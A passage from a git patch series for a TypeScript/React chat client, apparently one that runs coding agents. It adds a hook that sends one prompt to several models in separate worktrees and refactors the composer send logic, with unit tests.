!useComposerDraftStore.getState().getDraftSession(draftId) || - sendInFlightRef.current || - composerDraftHasUserContent( - useComposerDraftStore.getState().getComposerDraft(composerDraftTarget), - ) - ) { - toastManager.update(recoveryToastId, { - description: - "Return to the original draft and send or clear its current prompt before restoring.", - }); - return; - } - restoreFailedDraft(); - void navigate({ to: "/draft/$draftId", params: { draftId } }); - toastManager.close(recoveryToastId); - }, - }, - }), - ); - } - } - if (!releasedComposer) { - sendInFlightRef.current = false; - resetLocalDispatch(); - } return; } const optimisticAttachments = optimisticMessageAttachments(composerAttachmentsSnapshot); diff --git a/apps/web/src/components/chat/useMultipleModelSend.ts b/apps/web/src/components/chat/useMultipleModelSend.ts new file mode 100644 index 000000000000..a2d80ee04a65 --- /dev/null +++ b/apps/web/src/components/chat/useMultipleModelSend.ts @@ -0,0 +1,293 @@ +import { + type EnvironmentId, + type ModelSelection, + type RuntimeMode, + type ThreadId, +} from "@t3tools/contracts"; +import { scopeThreadRef } from "@t3tools/client-runtime/environment"; +import { deriveThreadTitleSeed } from "@t3tools/client-runtime/operations"; +import { settlePromise, squashAtomCommandFailure } from "@t3tools/client-runtime/state/runtime"; +import type { EnvironmentProject } from "@t3tools/client-runtime/state/shell"; +import { useNavigate } from "@tanstack/react-router"; +import { newMessageId } from "~/lib/utils"; +import { collapseExpandedComposerCursor } from "../../composer-logic"; +import { + type ComposerThreadTarget, + composerDraftHasUserContent, + type DraftId, + useComposerDraftStore, +} from "../../composerDraftStore"; +import type { ComposerHandleRef } from "../../composerHandleContext"; +import { releaseDraftAttachments } from "../../lib/attachmentUploadQueue"; +import type { buildMessageContext } from "../../lib/composerContextRecords"; +import { appAtomRegistry } from "../../rpc/atomRegistry"; +import { environmentServerConfigsAtom } from "../../state/server"; +import { threadEnvironment } from "../../state/threads"; +import { useOrchestrationCommand } from "../../state/use-orchestration-command"; +import { buildThreadRouteParams } from "../../threadRoutes"; +import { stackedThreadToast, toastManager } from "../ui/toast"; +import { + boundAttachmentIds, + type ComposerSendSnapshot, + type makeThreadErrorSetter, + withMessageContext, +} from "../ChatView.logic"; +import { + draftFanoutSelectionsAtom, + draftSendState, + type MultipleModelTarget, + type prepareTurnAttachments, + restoreComposerDraft, + startFanoutThread, +} from "./chatViewSend"; +import type { useLocalDispatchState } from "./useLocalDispatchState"; + +interface MultipleModelSendInput { + readonly environmentId: EnvironmentId; + readonly routeThreadKey: string; + readonly currentRouteThreadKeyRef: { readonly current: string | null }; + readonly draftId: DraftId | null; + readonly composerDraftTarget: ComposerThreadTarget; + readonly composerRef: ComposerHandleRef; + readonly promptRef: { current: string }; + readonly runtimeMode: RuntimeMode; + readonly startFromOrigin: boolean; + readonly resetLocalDispatch: ReturnType["resetLocalDispatch"]; + readonly setThreadError: ReturnType; +} + +/** + * Starts one background thread per selected model, each in its own worktree. Failed models + * stay selected and the prompt comes back, either straight into this composer or, when the + * user has moved on, through a "Restore prompt" toast. + */ +export function useMultipleModelSend(input: MultipleModelSendInput) { + const { + environmentId, + routeThreadKey, + currentRouteThreadKeyRef, + draftId, + composerDraftTarget, + composerRef, + promptRef, + runtimeMode, + startFromOrigin, + resetLocalDispatch, + setThreadError, + } = input; + const navigate = useNavigate(); + const startThreadTurn = useOrchestrationCommand(threadEnvironment.startTurn, { + reportFailure: false, + }); + const clearComposerDraftContent = useComposerDraftStore((store) => store.clearComposerContent); + const fanoutSelectionsAtom = draftFanoutSelectionsAtom(routeThreadKey); + const { sendInFlight: sendInFlightRef, uncertainSubmissions: uncertainSubmissionsRef } = + draftSendState(routeThreadKey); + + return async ({ + threadId, + project, + branch, + selections, + targets, + sendSnapshot, + createdAt, + attachmentsPromise, + usesAttachmentUploads, + readFileBlockReason, + buildOutgoingMessageContext, + isCurrentSend, + }: { + readonly threadId: ThreadId; + readonly project: EnvironmentProject; + readonly branch: string; + readonly selections: ReadonlyArray; + readonly targets: ReadonlyArray; + readonly sendSnapshot: ComposerSendSnapshot; + readonly createdAt: string; + readonly attachmentsPromise: ReturnType; + readonly usesAttachmentUploads: boolean; + readonly readFileBlockReason: () => string | null; + readonly buildOutgoingMessageContext: ( + attachmentIds: ReadonlyArray, + ) => ReturnType; + /** False once a newer send from this composer started. */ + readonly isCurrentSend: () => boolean; + }) => { + const { attachments: attachmentsSnapshot, messageText } = sendSnapshot; + const failedSelections: ModelSelection[] = []; + let clearedDraft = false; + let releasedComposer = false; + let canRestoreDraft = () => false; + let startedCount = 0; + // Anything thrown here (an attachment the server can no longer take) + // fails every selection; the draft restore below still runs. + const sendResult = await settlePromise(async () => { + const attachments = await attachmentsPromise; + const fileBlockReason = readFileBlockReason(); + if (fileBlockReason !== null) throw new Error(fileBlockReason); + const context = buildOutgoingMessageContext( + boundAttachmentIds(attachments, attachmentsSnapshot), + ); + const title = deriveThreadTitleSeed({ + text: messageText, + attachments: attachmentsSnapshot, + }); + promptRef.current = ""; + clearComposerDraftContent(composerDraftTarget); + composerRef.current?.resetCursorState(); + clearedDraft = true; + const clearedDraftSnapshot = useComposerDraftStore + .getState() + .getComposerDraft(composerDraftTarget); + const submittedSelections = appAtomRegistry.get(fanoutSelectionsAtom); + canRestoreDraft = () => + currentRouteThreadKeyRef.current === routeThreadKey && + isCurrentSend() && + useComposerDraftStore.getState().getComposerDraft(composerDraftTarget) === + clearedDraftSnapshot && + appAtomRegistry.get(fanoutSelectionsAtom) === submittedSelections; + setThreadError(threadId, null); + const starts = Promise.all( + targets.map(async (target) => { + const started = await startFanoutThread({ + retryKey: JSON.stringify([ + routeThreadKey, + target.selection.instanceId, + target.selection.model, + ]), + model: target.selection.model, + uncertainSubmissions: uncertainSubmissionsRef.current, + start: (targetThreadId) => { + const supportsInlineMessageContext = + appAtomRegistry.get(environmentServerConfigsAtom).get(environmentId)?.environment + .capabilities.inlineMessageContext === true; + return startThreadTurn({ + environmentId, + input: { + threadId: targetThreadId, + message: { + messageId: newMessageId(), + role: "user", + attachments, + ...withMessageContext({ + text: target.text, + context, + supportsInlineMessageContext, + }), + }, + modelSelection: target.selection, + titleSeed: title, + runtimeMode, + interactionMode: target.interactionMode, + bootstrap: { + createThread: { + projectId: project.id, + title, + modelSelection: target.selection, + runtimeMode, + interactionMode: target.interactionMode, + branch, + worktreePath: null, + createdAt: createdAt, + }, + prepareWorktree: { + projectCwd: project.workspaceRoot, + baseBranch: branch, + requireWorktree: true, + ...(startFromOrigin ? { startFromOrigin: true } : {}), + }, + runSetupScript: true, + }, + createdAt: createdAt, + }, + }); + }, + openThread: (threadId) => + void navigate({ + to: "/$environmentId/$threadId", + params: buildThreadRouteParams(scopeThreadRef(environmentId, threadId)), + }), + }); + if (started) startedCount += 1; + else failedSelections.push(target.selection); + }), + ); + sendInFlightRef.current = false; + resetLocalDispatch(); + releasedComposer = true; + await starts; + if (startedCount > 0) { + toastManager.add( + stackedThreadToast({ + type: "success", + title: `Started ${startedCount} ${startedCount === 1 ? "thread" : "threads"} in background`, + }), + ); + } + if (failedSelections.length === 0 && usesAttachmentUploads) { + releaseDraftAttachments(attachmentsSnapshot); + } + }); + if (sendResult._tag === "Failure") { + const error = squashAtomCommandFailure(sendResult); + failedSelections.push(...selections); + setThreadError(threadId, error instanceof Error ? error.message : "Failed to send messages."); + } + const restoreFailedDraft = () => { + appAtomRegistry.set(fanoutSelectionsAtom, failedSelections); + if (clearedDraft) { + restoreComposerDraft(composerDraftTarget, sendSnapshot); + if (composerRef.current && currentRouteThreadKeyRef.current === routeThreadKey) { + promptRef.current = messageText; + composerRef.current.resetCursorState({ + cursor: collapseExpandedComposerCursor(messageText, messageText.length), + prompt: messageText, + detectTrigger: true, + }); + } + } + }; + if (failedSelections.length > 0) { + if (canRestoreDraft() && composerRef.current) { + restoreFailedDraft(); + } else if (clearedDraft) { + const recoveryToastId = toastManager.add( + stackedThreadToast({ + type: "error", + title: "A background prompt could not be sent", + description: + "Your newer draft is unchanged. Restore the failed prompt when this composer is empty.", + timeout: 0, + actionProps: { + children: "Restore prompt", + onClick: () => { + if ( + !draftId || + !useComposerDraftStore.getState().getDraftSession(draftId) || + sendInFlightRef.current || + composerDraftHasUserContent( + useComposerDraftStore.getState().getComposerDraft(composerDraftTarget), + ) + ) { + toastManager.update(recoveryToastId, { + description: + "Return to the original draft and send or clear its current prompt before restoring.", + }); + return; + } + restoreFailedDraft(); + void navigate({ to: "/draft/$draftId", params: { draftId } }); + toastManager.close(recoveryToastId); + }, + }, + }), + ); + } + } + if (!releasedComposer) { + sendInFlightRef.current = false; + resetLocalDispatch(); + } + }; +} From beec3c8b30cecbd61383339cde42374282d1dee3 Mon Sep 17 00:00:00 2001 From: Julius Marminge Date: Wed, 21 Oct 2026 14:25:10 -0700 Subject: [PATCH 062/130] refactor(web): the composer send reads its own settings and draft instead of taking them from ChatView (#23095) Co-authored-by: Claude Opus 5.5 --- apps/web/src/components/ChatView.tsx | 7 - .../chat/composerSend.logic.test.ts | 125 ++++++++++++++++++ .../src/components/chat/composerSend.logic.ts | 81 ++++++++++++ .../src/components/chat/useComposerSend.ts | 112 ++++++++-------- 4 files changed, 265 insertions(+), 60 deletions(-) create mode 100644 apps/web/src/components/chat/composerSend.logic.test.ts create mode 100644 apps/web/src/components/chat/composerSend.logic.ts diff --git a/apps/web/src/components/ChatView.tsx b/apps/web/src/components/ChatView.tsx index 88ea30cdc2cd..15f2bc680f9b 100644 --- a/apps/web/src/components/ChatView.tsx +++ b/apps/web/src/components/ChatView.tsx @@ -2983,15 +2983,8 @@ export default function ChatView(props: ChatViewProps) { sendEnvMode, startFromOrigin, localCheckoutBranchMismatch, - settings, - clientSettingsHydrated, - serverConfig, - environmentById, logicalProjectEnvironments, providerInstanceEntries, - supportsAttachmentUploads, - referencedThreadContexts, - composerHasNonPromptContent, composerRef, composerDraftTarget, promptRef, diff --git a/apps/web/src/components/chat/composerSend.logic.test.ts b/apps/web/src/components/chat/composerSend.logic.test.ts new file mode 100644 index 000000000000..062fbc22eb66 --- /dev/null +++ b/apps/web/src/components/chat/composerSend.logic.test.ts @@ -0,0 +1,125 @@ +import { EnvironmentId, ThreadId } from "@t3tools/contracts"; +import { scopeThreadRef } from "@t3tools/client-runtime/environment"; +import { describe, expect, it } from "vite-plus/test"; +import { formatInlineContextReference } from "../../lib/composerContextReferences"; +import { threadContextRecord, threadContextReference } from "../../lib/composerContextRecords"; +import { + approvalRedirectNotice, + loadBalancingSendWarning, + multipleModelSendBlock, + referencedThreadContexts, +} from "./composerSend.logic"; + +const local = EnvironmentId.make("local"); +const remote = EnvironmentId.make("remote"); +const localThread = threadContextRecord(scopeThreadRef(local, ThreadId.make("a")), "Local"); +const remoteThread = threadContextRecord(scopeThreadRef(remote, ThreadId.make("b")), "Remote"); + +describe("referencedThreadContexts", () => { + it("keeps only the attached threads the prompt still links", () => { + const prompt = `see ${formatInlineContextReference(threadContextReference(remoteThread))}`; + expect( + referencedThreadContexts({ prompt, threadContexts: [localThread, remoteThread] }), + ).toEqual([remoteThread]); + }); +}); + +describe("loadBalancingSendWarning", () => { + it("asks the user to wait while resource checks run", () => { + expect( + loadBalancingSendWarning({ + pending: true, + threadContexts: [localThread, remoteThread], + candidateEnvironmentIds: [], + }).title, + ).toBe("Checking machine resources"); + }); + + it("blames the attached threads when no machine can read all of them", () => { + expect( + loadBalancingSendWarning({ + pending: false, + threadContexts: [localThread, remoteThread], + candidateEnvironmentIds: [local, remote], + }).description, + ).toMatch(/No machine can read every attached thread/); + }); + + it("blames resources when one machine can read every attached thread", () => { + expect( + loadBalancingSendWarning({ + pending: false, + threadContexts: [localThread], + candidateEnvironmentIds: [remote, local], + }).description, + ).toMatch(/No eligible machine has available resources/); + }); +}); + +describe("multipleModelSendBlock", () => { + const ready = { + selectionCount: 2, + serverSupportsWorktreeBootstrap: true, + isLocalDraftThread: true, + isGitRepo: true, + branch: "main", + }; + + it("lets a new Git draft with a branch and models start", () => { + expect(multipleModelSendBlock(ready)).toBeNull(); + }); + + it("asks for a server update before checking the draft", () => { + expect( + multipleModelSendBlock({ + ...ready, + serverSupportsWorktreeBootstrap: false, + isGitRepo: false, + }), + ).toBe("server-outdated"); + }); + + it.each([ + { isLocalDraftThread: false }, + { isGitRepo: false }, + { branch: null }, + { selectionCount: 0 }, + ])("needs a new Git thread with a branch and models (%o)", (override) => { + expect(multipleModelSendBlock({ ...ready, ...override })).toBe("needs-new-git-thread"); + }); +}); + +describe("approvalRedirectNotice", () => { + const settled = { + draftChanged: false, + declined: true, + approvalResponding: false, + approvalArrived: false, + }; + + it("says the decline went through when the draft changed after it", () => { + expect(approvalRedirectNotice({ ...settled, draftChanged: true })).toBe( + "Approval declined. Your message changed, so it wasn't sent.", + ); + expect(approvalRedirectNotice({ ...settled, draftChanged: true, declined: false })).toBe( + "Your message changed, so it wasn't sent.", + ); + }); + + it("explains an approval already being answered", () => { + expect( + approvalRedirectNotice({ ...settled, declined: false, approvalResponding: true }), + ).toMatch(/already being answered/); + }); + + it("explains an approval that arrived during the decline", () => { + expect(approvalRedirectNotice({ ...settled, approvalArrived: true })).toMatch( + /Another approval arrived/, + ); + }); + + it("stays quiet when the decline failed or the user left the thread", () => { + expect(approvalRedirectNotice({ ...settled, declined: false })).toBeNull(); + expect(approvalRedirectNotice(settled)).toBeNull(); + }); +}); diff --git a/apps/web/src/components/chat/composerSend.logic.ts b/apps/web/src/components/chat/composerSend.logic.ts new file mode 100644 index 000000000000..e19512e6c90d --- /dev/null +++ b/apps/web/src/components/chat/composerSend.logic.ts @@ -0,0 +1,81 @@ +import type { EnvironmentId, ThreadContextRecord } from "@t3tools/contracts"; +import { collectInlineContextIds } from "../../lib/composerContextReferences"; + +/** Attached threads the prompt still links to; replacing linked text leaves stale records. */ +export function referencedThreadContexts(draft: { + readonly prompt: string; + readonly threadContexts: ReadonlyArray; +}): ReadonlyArray { + if (draft.threadContexts.length === 0) return []; + const referenced = new Set(collectInlineContextIds(draft.prompt)); + return draft.threadContexts.filter((record) => referenced.has(record.contextId)); +} + +/** Why a send waits for the user to pick a machine when no machine was chosen automatically. */ +export function loadBalancingSendWarning(input: { + readonly pending: boolean; + readonly threadContexts: ReadonlyArray; + readonly candidateEnvironmentIds: ReadonlyArray; +}) { + if (input.pending) { + return { + title: "Checking machine resources", + description: "Resource checks are still running. You can choose a machine in the composer.", + }; + } + const noMachineReadsEveryThread = + input.threadContexts.length > 0 && + !input.candidateEnvironmentIds.some((environmentId) => + input.threadContexts.every((record) => record.environmentId === environmentId), + ); + return { + title: "Choose a machine to continue", + description: noMachineReadsEveryThread + ? "No machine can read every attached thread. Choose a machine in the composer or remove the threads." + : "No eligible machine has available resources. Choose a machine in the composer to override.", + }; +} + +/** + * Why a multiple-model send cannot start: the server predates worktree bootstrap, or the + * draft is not a new thread on a Git branch with at least one model. + */ +export function multipleModelSendBlock(input: { + readonly selectionCount: number; + readonly serverSupportsWorktreeBootstrap: boolean; + readonly isLocalDraftThread: boolean; + readonly isGitRepo: boolean; + readonly branch: string | null; +}): "server-outdated" | "needs-new-git-thread" | null { + if (!input.serverSupportsWorktreeBootstrap) return "server-outdated"; + if ( + !input.isLocalDraftThread || + !input.isGitRepo || + !input.branch || + input.selectionCount === 0 + ) { + return "needs-new-git-thread"; + } + return null; +} + +/** Why a message sent over pending approvals did not go out, or null to stop quietly. */ +export function approvalRedirectNotice(input: { + readonly draftChanged: boolean; + readonly declined: boolean; + readonly approvalResponding: boolean; + readonly approvalArrived: boolean; +}): string | null { + if (input.draftChanged) { + return input.declined + ? "Approval declined. Your message changed, so it wasn't sent." + : "Your message changed, so it wasn't sent."; + } + if (input.approvalResponding) { + return "An approval is already being answered, so your message wasn't sent."; + } + if (input.declined && input.approvalArrived) { + return "Another approval arrived, so your message wasn't sent."; + } + return null; +} diff --git a/apps/web/src/components/chat/useComposerSend.ts b/apps/web/src/components/chat/useComposerSend.ts index 3e9ec35ca1f2..d3bcbdf47020 100644 --- a/apps/web/src/components/chat/useComposerSend.ts +++ b/apps/web/src/components/chat/useComposerSend.ts @@ -82,6 +82,14 @@ import { import { environmentServerConfigsAtom } from "../../state/server"; import { threadEnvironment } from "../../state/threads"; import { runMobileComposerTransition } from "./draftHeroTransition"; +import { useClientSettingsHydrated, useEnvironmentSettings } from "../../hooks/useSettings"; +import { environmentPresentations } from "../../state/presentation"; +import { + approvalRedirectNotice, + loadBalancingSendWarning, + multipleModelSendBlock, + referencedThreadContexts, +} from "./composerSend.logic"; import { usePlanFollowUpSend } from "./useProposedPlanSend"; import { useMultipleModelSend } from "./useMultipleModelSend"; import { type ComposerDispatchMode } from "@t3tools/client-runtime/state/composer-dispatch"; @@ -108,12 +116,11 @@ import { prepareTurnAttachments, restoreComposerDraft, } from "./chatViewSend"; -import type { EnvironmentServerConfig } from "@t3tools/client-runtime/connection"; import type { EnvironmentProject, EnvironmentThreadShell, } from "@t3tools/client-runtime/state/shell"; -import type { ThreadContextRecord, UnifiedSettings } from "@t3tools/contracts"; +import type { UnifiedSettings } from "@t3tools/contracts"; import type { Dispatch } from "react"; import type { ComposerThreadTarget } from "../../composerDraftStore"; import type { ProviderInstanceEntry } from "../../providerInstances"; @@ -122,7 +129,6 @@ import type { DraftSessionState } from "../../composerDraftStore"; import type { ComposerHandleRef } from "../../composerHandleContext"; import type { useLogicalProjectEnvironments } from "../../hooks/useLogicalProjectEnvironments"; import type { LatestProposedPlanState } from "../../session-logic"; -import type { EnvironmentPresentation } from "../../state/environments"; import type { useDraftEnvironmentRouting } from "./useDraftEnvironmentRouting"; import type { useLocalDispatchState } from "./useLocalDispatchState"; import type { usePendingThreadRequests } from "./usePendingThreadRequests"; @@ -133,6 +139,17 @@ import type { useWorktreeSetup } from "./useWorktreeSetup"; const ENVIRONMENT_UNAVAILABLE_SEND_TOAST_TRAIL_SIZE = 3; +const selectPlanModeEnabled = (settings: UnifiedSettings) => settings.planModeEnabled; + +function readEnvironmentPresentation(environmentId: EnvironmentId) { + return appAtomRegistry.get(environmentPresentations.presentationsAtom).get(environmentId); +} + +function draftHasNonPromptContent(target: ComposerThreadTarget) { + const draft = useComposerDraftStore.getState().getComposerDraft(target); + return draft ? composerDraftHasUserContent({ ...draft, prompt: "" }) : false; +} + type PendingThreadRequests = ReturnType; type LocalDispatchState = ReturnType; type DraftEnvironmentRouting = ReturnType; @@ -163,15 +180,8 @@ interface ComposerSendInput { readonly threadBranch: string; readonly currentBranch: string; } | null; - readonly settings: UnifiedSettings; - readonly clientSettingsHydrated: boolean; - readonly serverConfig: EnvironmentServerConfig | null; - readonly environmentById: ReadonlyMap; readonly logicalProjectEnvironments: ReturnType; readonly providerInstanceEntries: ReadonlyArray; - readonly supportsAttachmentUploads: boolean; - readonly referencedThreadContexts: ReadonlyArray; - readonly composerHasNonPromptContent: boolean; readonly composerRef: ComposerHandleRef; readonly composerDraftTarget: ComposerThreadTarget; readonly promptRef: { current: string }; @@ -257,15 +267,8 @@ export function useComposerSend(input: ComposerSendInput) { sendEnvMode, startFromOrigin, localCheckoutBranchMismatch, - settings, - clientSettingsHydrated, - serverConfig, - environmentById, logicalProjectEnvironments, providerInstanceEntries, - supportsAttachmentUploads, - referencedThreadContexts, - composerHasNonPromptContent, composerRef, composerDraftTarget, promptRef, @@ -316,6 +319,8 @@ export function useComposerSend(input: ComposerSendInput) { } = input; const handleNewThread = useNewThreadHandler(); const navigate = useNavigate(); + const clientSettingsHydrated = useClientSettingsHydrated(); + const planModeEnabled = useEnvironmentSettings(environmentId, selectPlanModeEnabled); const startThreadTurn = useOrchestrationCommand(threadEnvironment.startTurn, { reportFailure: false, }); @@ -392,7 +397,7 @@ export function useComposerSend(input: ComposerSendInput) { usageLimitsOffered && usageLimitsKey !== null && !directAnnotation && - !composerHasNonPromptContent && + !draftHasNonPromptContent(composerDraftTarget) && isUsageLimitsCommand(promptRef.current) ) { if (openUsageLimits()) { @@ -429,21 +434,16 @@ export function useComposerSend(input: ComposerSendInput) { return; } if (needsLoadBalancing) { + const draft = useComposerDraftStore.getState().getComposerDraft(composerDraftTarget); toastManager.add({ type: "warning", - title: loadBalancing.pending - ? "Checking machine resources" - : "Choose a machine to continue", - description: loadBalancing.pending - ? "Resource checks are still running. You can choose a machine in the composer." - : referencedThreadContexts.length > 0 && - !logicalProjectEnvironments.some((candidate) => - referencedThreadContexts.every( - (record) => record.environmentId === candidate.environmentId, - ), - ) - ? "No machine can read every attached thread. Choose a machine in the composer or remove the threads." - : "No eligible machine has available resources. Choose a machine in the composer to override.", + ...loadBalancingSendWarning({ + pending: loadBalancing.pending, + threadContexts: draft ? referencedThreadContexts(draft) : [], + candidateEnvironmentIds: logicalProjectEnvironments.map( + (candidate) => candidate.environmentId, + ), + }), }); return; } @@ -475,20 +475,23 @@ export function useComposerSend(input: ComposerSendInput) { return; } const multipleModelSelections = sendCtx.multipleModelSelections; - if ( - multipleModelSelections !== null && - serverConfig?.environment.capabilities.requiredWorktreeBootstrap !== true - ) { + const multipleModelBlock = + multipleModelSelections === null + ? null + : multipleModelSendBlock({ + selectionCount: multipleModelSelections.length, + serverSupportsWorktreeBootstrap: + readEnvironmentPresentation(activeThread.environmentId)?.serverConfig?.environment + .capabilities.requiredWorktreeBootstrap === true, + isLocalDraftThread, + isGitRepo, + branch: activeThreadBranch, + }); + if (multipleModelBlock === "server-outdated") { setThreadError(activeThread.id, "Update this server before starting multiple models."); return; } - if ( - multipleModelSelections !== null && - (!isLocalDraftThread || - !isGitRepo || - !activeThreadBranch || - multipleModelSelections.length === 0) - ) { + if (multipleModelBlock === "needs-new-git-thread") { toastManager.add( stackedThreadToast({ type: "warning", @@ -534,7 +537,9 @@ export function useComposerSend(input: ComposerSendInput) { environmentId, })[0]; if (strandedThread) { - const owner = environmentById.get(strandedThread.environmentId)?.label ?? "its machine"; + const owner = + readEnvironmentPresentation(strandedThread.environmentId)?.entry.target.label ?? + "its machine"; toastManager.add( stackedThreadToast({ type: "warning", @@ -838,7 +843,7 @@ export function useComposerSend(input: ComposerSendInput) { selections: multipleModelSelections ?? [], providerInstanceEntries, messageText: messageTextForSend, - planModeEnabled: settings.planModeEnabled, + planModeEnabled, interactionMode: sendInteractionMode, })) { if ("error" in resolved) { @@ -860,7 +865,8 @@ export function useComposerSend(input: ComposerSendInput) { const turnUsesAttachmentUploads = composerFilesSnapshot.length > 0 ? attachmentCapabilitiesBeforeUpload.supportsAttachmentUploads - : supportsAttachmentUploads; + : readEnvironmentPresentation(environmentId)?.serverConfig?.environment.capabilities + .attachmentUploads === true; if (turnUsesAttachmentUploads && composerAttachmentsSnapshot.length > 0) { for (const attachment of composerAttachmentsSnapshot) { const upload = @@ -1001,16 +1007,16 @@ export function useComposerSend(input: ComposerSendInput) { setDockedDraftHeroThreadKey((currentThreadKey) => currentThreadKey === activeThreadKey ? null : currentThreadKey, ); - if (draftChanged || approvalResponding || (declined && approvalArrived)) { + const notice = approvalRedirectNotice({ + draftChanged, + declined, + approvalResponding, + approvalArrived, + }); + if (notice !== null) { toastManager.add({ type: "info", - title: draftChanged - ? declined - ? "Approval declined. Your message changed, so it wasn't sent." - : "Your message changed, so it wasn't sent." - : approvalResponding - ? "An approval is already being answered, so your message wasn't sent." - : "Another approval arrived, so your message wasn't sent.", + title: notice, description: "Send again when it's ready.", }); } From b34f74cde0db0a272b5796a59e298e887a6c7b99 Mon Sep 17 00:00:00 2001 From: Julius Marminge Date: Wed, 21 Oct 2026 14:39:21 -0700 Subject: [PATCH 063/130] refactor(web): ComposerControlsBar renders without a memo() wrapper (#23093) Co-authored-by: Claude Opus 5.5 --- apps/web/src/components/chat/ComposerControlsBar.tsx | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/apps/web/src/components/chat/ComposerControlsBar.tsx b/apps/web/src/components/chat/ComposerControlsBar.tsx index 27e93e0d759f..158cc160984d 100644 --- a/apps/web/src/components/chat/ComposerControlsBar.tsx +++ b/apps/web/src/components/chat/ComposerControlsBar.tsx @@ -20,7 +20,6 @@ import { type ServerProvider, } from "@t3tools/contracts"; import { cn } from "~/lib/utils"; -import { memo } from "react"; import { renderProviderTraitsMenuContent, renderProviderTraitsPicker, @@ -31,7 +30,7 @@ import type { useComposerProviderModel } from "./useComposerProviderModel"; * The composer footer controls: model picker, traits, mode controls and the overflow menu for * blocks that do not fit. Rendered in the expanded footer or the resting controls host. */ -export const ComposerControlsBar = memo(function ComposerControlsBar(props: { +export function ComposerControlsBar(props: { environmentId: EnvironmentId; routeKind: ChatComposerProps["routeKind"]; routeThreadRef: ChatComposerProps["routeThreadRef"]; @@ -328,4 +327,4 @@ export const ComposerControlsBar = memo(function ComposerControlsBar(props: { ); -}); +} From 764fff2efcb7123a0518c6b9b768f2f984d08b23 Mon Sep 17 00:00:00 2001 From: Julius Marminge Date: Wed, 21 Oct 2026 14:39:21 -0700 Subject: [PATCH 064/130] refactor(web): chat shortcuts live with the hooks that own their actions (#23097) Co-authored-by: Claude Opus 5.5 --- apps/web/src/components/ChatView.tsx | 136 ++---------------- .../src/components/chat/composerShortcuts.ts | 38 +++++ .../src/components/chat/useChatShortcuts.ts | 133 ++++++++--------- .../components/chat/useChatTerminalActions.ts | 43 ++++++ .../components/chat/useRightPanelActions.ts | 17 +++ .../components/chat/useThreadLifecycle.tsx | 46 +++++- 6 files changed, 221 insertions(+), 192 deletions(-) create mode 100644 apps/web/src/components/chat/composerShortcuts.ts diff --git a/apps/web/src/components/ChatView.tsx b/apps/web/src/components/ChatView.tsx index 15f2bc680f9b..41903f4cd903 100644 --- a/apps/web/src/components/ChatView.tsx +++ b/apps/web/src/components/ChatView.tsx @@ -47,13 +47,12 @@ import type { UsageLimitSourceSnapshots } from "@t3tools/contracts"; import { feedbackBannerItem } from "./chat/ComposerFeedback"; import { useUsageLimitsPanel } from "./chat/useUsageLimitsPanel"; import { useWorktreeSetup } from "./chat/useWorktreeSetup"; -import { useChatShortcuts, type ChatShortcutHandler } from "./chat/useChatShortcuts"; +import { useChatShortcuts } from "./chat/useChatShortcuts"; import * as Schema from "effect/Schema"; import { AuthOrchestrationOperateScope, AuthSourceControlWriteScope, AuthPreviewOperateScope, - AuthTerminalReadScope, AuthTerminalOperateScope, type AssistantCitation, type ChatFileAttachment, @@ -71,7 +70,6 @@ import { resolveIdleCompaction, RuntimeMode, } from "@t3tools/contracts"; -import { useThreadActions } from "../hooks/useThreadActions"; import { deriveProviderSubagentStatus, deriveReportedModelSelection, @@ -138,7 +136,6 @@ import { useWorkspaceMutationRefresh } from "../hooks/useWorkspaceMutationRefres import { DEFAULT_INTERACTION_MODE, type ChatMessage } from "../types"; import { useTheme } from "../hooks/useTheme"; import { writeTextToClipboard } from "../hooks/useCopyToClipboard"; -import { settleAndAdvance } from "../settleAndAdvance"; import { subscribeSnapShotComposerFocus } from "../lib/desktopSnapShot"; import { useMediaQuery } from "../hooks/useMediaQuery"; import { FileMetadataThreadProvider } from "../hooks/FileMetadataThreadProvider"; @@ -411,10 +408,8 @@ export default function ChatView(props: ChatViewProps) { } = props; const canOperateThread = useEnvironmentScope(environmentId, AuthOrchestrationOperateScope); const canOperateTerminal = useEnvironmentScope(environmentId, AuthTerminalOperateScope); - const canReadTerminal = useEnvironmentScope(environmentId, AuthTerminalReadScope); const draftId = routeKind === "draft" ? props.draftId : null; const handleNewThread = useNewThreadHandler(); - const { settleThread, pinThread, confirmAndUnpinThread } = useThreadActions(); const routeThreadRef = scopeThreadRef(environmentId, threadId); const routeThreadKey = scopedThreadKey(routeThreadRef); const currentRouteThreadKeyRef = useRef(routeThreadKey); @@ -1847,17 +1842,13 @@ export default function ChatView(props: ChatViewProps) { addTerminalContextToDraftStable, addTerminalSurfaceStable, closePanelTerminalStable, - createNewTerminalStable, lastInvokedScriptByProjectId, - requestClosePanelTerminalStable, - requestCloseTerminalStable, runProjectScriptStable, runShellCommandStable, - setTerminalOpenStable, splitPanelTerminalStable, splitPanelTerminalVerticalStable, - splitTerminalStable, toggleTerminalVisibilityStable, + shortcuts: terminalShortcuts, } = useChatTerminalActions({ environmentId, composerRef, @@ -2382,7 +2373,6 @@ export default function ChatView(props: ChatViewProps) { }, ); }; - const copyActiveThreadReferenceStable = useStableCallback(copyActiveThreadReference); const pullRequestPanelTarget = activeThread ? threadPullRequestPanelTarget({ projectId: activeThread.projectId, @@ -2404,12 +2394,12 @@ export default function ChatView(props: ChatViewProps) { createBrowserSurfaceStable, moveRightPanelSurfaceStable, onOpenTurnDiffStable, - onToggleDiffStable, openChangesFromThreadPanelStable, openFileSurfaceStable, toggleRightPanelMaximizedStable, toggleRightPanelStable, toggleThreadPanelStable, + shortcuts: rightPanelShortcuts, } = useRightPanelActions({ activeThreadRef, activeProject, @@ -2434,29 +2424,26 @@ export default function ChatView(props: ChatViewProps) { explicitDiffOpenRef, setTerminalFocusRequestId, onDiffPanelOpen, + closeRightPanelSurface, }); const pullRequestSurfaceAvailable = supportsPullRequests && pullRequestPanelTarget !== null; const nowMinute = useNowMinute(); const { acknowledgeActiveThreadWoke, activeBranchMismatchKey, - activeThreadPinned, - activeThreadSettled, backgroundWorkBanner, childInputBanner, goalBanner, handleSwitchCheckoutToThread, handleSwitchCheckoutToThreadStable, - handleUnsettleActiveThreadStable, isRestoringThreadBranch, onOpenRelatedThread, onOpenRelatedThreadStable, sendStandaloneCommand, setBranchMismatchDismissTick, showBranchMismatchBanner, - supportsPinning, - supportsSettlement, threadStatusLine, + shortcuts: threadLifecycleShortcuts, } = useThreadLifecycle({ environmentId, routeThreadKey, @@ -2705,120 +2692,31 @@ export default function ChatView(props: ChatViewProps) { const threadFindControlsRef = useRef(null); const [isThreadFindActive, setIsThreadFindActive] = useState(false); const openThreadFind = () => threadFindControlsRef.current?.open(); - const 